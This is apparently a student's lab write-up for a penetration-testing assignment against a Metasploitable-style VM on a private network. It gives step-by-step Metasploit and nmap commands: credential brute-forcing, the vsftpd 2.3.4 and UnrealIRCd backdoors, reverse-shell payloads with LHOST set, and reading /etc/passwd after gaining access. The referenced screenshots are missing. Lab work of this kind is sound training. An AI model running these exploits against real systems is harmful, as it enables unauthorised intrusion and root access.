# STL 1 Assignment 3

# 2

nmap -sP 10.0.2.0/24 -T5


nmap -Pn 10.0.2.23

# 3


auxiliary/scanner/mssql/mssql_login



After running the ls command:


show payloads

search reverse_tcp


payload/windows/shell/reverse_tcp (This is the one I used.). Since this is a reverse shell and not using the meterpeter, I would be able to run windows specific commands as seen in the following:

`dir`

Linux commands do not work as seen in the following:


# 5

## 5.1


The IP Address for the Ubuntu machine is 10.0.2.4 and the open ports are shown

options available:

Using `use auxiliary/scanner/postgres/postgres_login` to check for default passwords and credentials and exploit using `run postgres://10.0.2.4`, the following is found:


`show options` to find the default password that metsploit already has (the name of the file is `postgres_default_pass.txt`):


The details of the default password list can be found in the following:

There are 4 rows in the file.

To exploit using the information that we have, the following are run:

`search postgres_payload`
We will be using the linux version and that can be done by running the following command:

`use exploit/linux/postgres/postgres_payload`

Running `exploit` will then allow us to enter the meterpeter (simulated shell of the machine):


Running the `pwd; cat /etc/passwd; getuid; getpid` commands

## 5.2
In order to make sure that the exploit is available we can check whether the ftp port (21) is open, which in our case it is.

To search for the vsftpd exploit:

`search vsftpd` command is run


`use exploit/unix/ftp/vsftpd_234_backdoor` is run
we need to set the target IP to 10.0.2.4 and then exploit by running the following commands:
`set RHOSTS 10.0.2.4`
`exploit`
The necessary commands `whoami`, `pwd`, `env` were run as well:

-------------------

#### Manual Exploit
Reference:

- https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
- https://www.hackingtutorials.org/metasploit-tutorials/exploiting-vsftpd-metasploitable/

VSFTPD v2.3.4 contains a backdoor that was created by an intruder. To start the backdoor, the username must contain the “:)” character with any characters for the password:

Based on the reference I used `user:)` as the username and `pass` as the password.

Before using the telnet to open a connection, port 6200 is closed as seen in the following:
`nmap -sS -p 10.0.2.4 6200`

After using the telnet to open a connection in port 21, port 6200 is now open as seen:

Now that port 6200 is open, we can telnet inside and gain root access, as seen:


In order to run the commands, we need to add `;` behind each command.

## 5.3

To run the IRC daemon exploit, we first need to make sure that port 6667 is open as seen:

`search irc`
`use exploit/unix/irc/unreal_ircd_3281_backdoor`
`set RHOSTS 10.0.2.4`

TO run the exploit we must first create the payload and to see what payloads are avaialble:

`show payloads`
Since we want to have a reverse shell the payload we are using would be: `payload/cmd/unix/reverse`

`set payload payload/cmd/unix/reverse`


Now that the payload is set, we need to make sure that the LHOST and RHOST, which was done earlier, are set properly:
`set LHOST 10.0.2.15`

run `exploit` to start exploitation:


As seen, I now have root access as seen from `whoami`.

## 5.4 a

Chosen Exploit: vnc_login


For the vnc_login, port 5900 should be open. The following are the commands to start setup for hte exploit:

`search vnc_login`
`use auxiliary/scanner/vnc/vnc_login `
`show options`

`set RHOSTS 10.0.2.4`
`exploit`

Now that the exploit is successful and the password : `password` is found we can test whether it is working or not. vncviewer is already installed by default in kali and as such is the following command is run:

`vncviewer 10.0.2.4`
We can see that we have root access to this machine through vnc.
## 5.4 b

Chosen Exploit: Apache/php 5.2.4 -- Port 80:
https://medium.com/hacker-toolbelt/metasploitable-2-iv-port-80-5b90a0a22cb6
Based on `10.0.2.4/phpinfo.php`

To make sure that the vulnerability is doable, port 80 must be open and the following screenshot shows that the port is open:


To find the php version, the following command is run:
`search http_version`
`use auxiliary/scanner/http/http_version`

To run the exploit the following commadns are run:

`set RHOSTS 10.0.2.4`
`exploit`


More information about the server:

`use auxiliary/scanner/http/dir_scanner`

`use auxiliary/scanner/http/verb_auth_bypass`

We will be searching in `searchsploit` for the exploit using the following command:

`searchsploit apache | grep 5.4.2`


Once found, we find the corresponding exploit in `metsploit` and `set RHOSTS 10.0.2.4`:


The following is the screenshot after `exploit` is run to confirm that we have infiltrated the victim machine:


Results from command `pwd`, `env`, `whoami”, `ls` can be seen in screenshot above.